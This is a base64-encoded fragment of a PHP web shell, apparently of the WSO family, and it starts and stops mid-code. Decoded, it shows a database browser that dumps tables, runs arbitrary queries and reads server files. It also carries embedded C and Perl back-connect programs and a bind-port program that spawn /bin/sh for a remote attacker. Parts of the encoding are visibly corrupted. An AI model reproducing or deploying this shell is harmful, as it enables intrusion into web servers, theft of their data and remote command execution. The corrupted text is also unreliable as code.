ICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfaW50KCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1skagPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgew0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrPT4kdikgew0KCQkJCQkJCSTilp9bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJOKWnykuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgl9Ow0KCSRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCglpZigoQCRfUE9TVFsncDInXT09J2Rvdsb2FkJykgJiYgKEAkX1BPU1RbJ3AxJ10hPSdzZWxlY3QnKSkgew0KCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb2IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KCQkJCSRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7DQoJfQ0KCWhhcmRIZWFkZXIoKTsNCgllY2hvICINCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpOyc+PHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRyPg0KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48dGQ+TG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJpIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+DQo8dGQ+PGxhYmVsPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC9sYWJlbD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiJcIj48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfbG9naW4gdmFsdWU9XCIiLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iXCI+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9XCIiLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iXCIgcmVxdWlyZWQ+PCZD48dGQ+IjsNCgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOw0KCWlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KCQlpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsNCgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KCQkJCWNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KCQkJCWNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCgkJCQljYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQoJCQl9DQoJCQkkZGItPmxpc3REYnMoKTsNCgkJCWVjaG8gIjxsYWJlbD48c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KCQkJd2hpbGUoJOKWnyA9ICRkYi0+ZmV0Y2goKSkgew0KCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJOKWnyk7DQoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsNCgkJCX0NCgkJCWVjaG8gJzwvc2VsZWN0PjwvbGFiZWw+JzsNCgkJfQ0KCQllbHNlIGVjaG8gJHRtcDsNCgl9ZWxzZQ0KCQllY2hvICR0bXA7DQoJZWNobyAiPC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY2bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCgkJPHNjcmlwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWZ1bmN0aW9uIHN0KHQsbCkgew0KCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCgkJCQlkLnNmLnAyLnZhbHVlID0gdDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0KCQkJCWQuc2Yuc3VibWl0KCk7DQoJCQl9DQoJCQlmdW5jdGlvbiBpcygpIHsNCgkJCQlmb3IoaT0wO2k8ZC5zZi5lbGVtZWc1sndGJsW10nXS5sZW5ndGg7KytpKQ0KCQkJCQlkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOw0KCQkJfQ0KCQk8L3NjcmlwdD4iOw0KCWlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCgkJZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsNCgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCgkJCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7DQoJCQkJd2hpbGUoJOKWnyA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCTilp8pOw0KICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOw0KCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOw0KCQkJCX0NCgkJCQllY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOw0KCQkJCWlmKEAkX1BPU1RbJ3AxJgPT0gJ3NlbGVjdCcpIHsNCgkJCQkJJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsncDMnXToxOw0KCQkJCQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJpOw0KCQkJCQkkbnVtID0gJGRiLT5mZXRjaCgpOw0KCQkJCQkkcGFnZXMgPSBjZWlsKCRudW1bJnXSAvIDMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddID4gMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07DQoJCQkJCWlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KCQkJCQkJJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7DQoJCQkJCWVjaG8gIjxicj48YnI+IjsNCgkJCQl9DQoJCQkJaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCgkJCQkJJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsNCgkJCQkJaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7DQoJCQkJCQkkdGl0bGUgPSBmYWxzZTsNCgkJCQkJCWVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7DQoJCQkJCQkkbGluZSA9IDE7DQoJCQkJCQl3aGlsZSgk4pafID0gJGRiLT5mZXRjaCgpKQl7DQoJCQkJCQkJaWYoISR0aXRsZSkJew0KCQkJCQkJCQllY2hvICc8dHI+JzsNCgkJCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrZXkgPT4gJHZhbHVlKQ0KCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPCaD4nOw0KCQkJCQkJCQlyZXNldCgk4pafKTsNCgkJCQkJCQkJJHRpdGxlPXRydWU7DQoJCQkJCQkJCWVjaG8gJzwvdHI+PHRyPic7DQoJCQkJCQkJCSRsaW5lID0gMjsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOw0KCQkJCQkJCSRsaW5lID0gJGxpbmU9PTE/MjoxOw0KCQkJCQkJCWZvcmVhY2goJOKWnyBhcyAka2V5ID0+ICR2YWx1ZSkgew0KCQkJCQkJCQlpZigkdmFsdWUgPT0gbnVsbCkNCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCgkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQllY2hvICc8L3RhYmxlPic7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cInF1ZXJ5XCI7ZC5zZi5wMiYWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZWLnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7DQoJCQkJZWNobyAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQllY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7DQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgaWYoJGRiLT5mZXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT4iOw0KICAgICAgICAgICAgfQ0KCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQoJCQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7DQoJCQkJZWNobyAnPGJyLz48cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7DQoJCQl9DQoJfSBlbHNlIHsNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSk7DQogICAgfQ0KCWVjaG8gJzwvZGl2Pic7DQoJaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3RpbgYWN0aW9uTmV0d29yaygpIHsNCgloYXJkSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoYkakxDQmphR0Z5SUNwaGNtZDJXMTBwSUhzTkNpQWdJQ0JwYm5RZ1ptUTdEUW9nSUNBZ2MzUnlkV04wSUhOdlkydGhaR1J5WDJsdUlITnBianNOQ2lBZ0lDQmtZV1Z0YjI0b01Td3dLVHNOQ2lBZ0lDQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmRLU2s3RFFvZ0lDQWdjMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzTkNpQWdJQ0JtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzTkNpQWdJQ0JwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLaWtnSm5OcGJpd2djMmw2Wlc5bUtITjBjblZqZENCemIyTnJZV1JrY2lrcEtUd3dLU0I3RFFvZ0lDQWdJQ0FnSUhCbGNuSnZjaWdpUTI5dWJtVmpkQ0JtWVdsc0lpazdEUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQXdPdzBLSUNBZ0lIME5DaUFnSUNCa2RYQXlLR1prTENBd0tUc05DaUFnSUNCa2RYQXlLR1prTENBeEtUc05DaUFnSUNCa2RYQXlLR1prTENBeUtUc05DaUFnSUNCemVYTjBaVzBvSWk5aWFXNHZjMmdnTFdraUtUc05DaUFnSUNCamJHOXpaU2htWkNrN0RRcDkiOw0KCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcEMEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KCSRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0a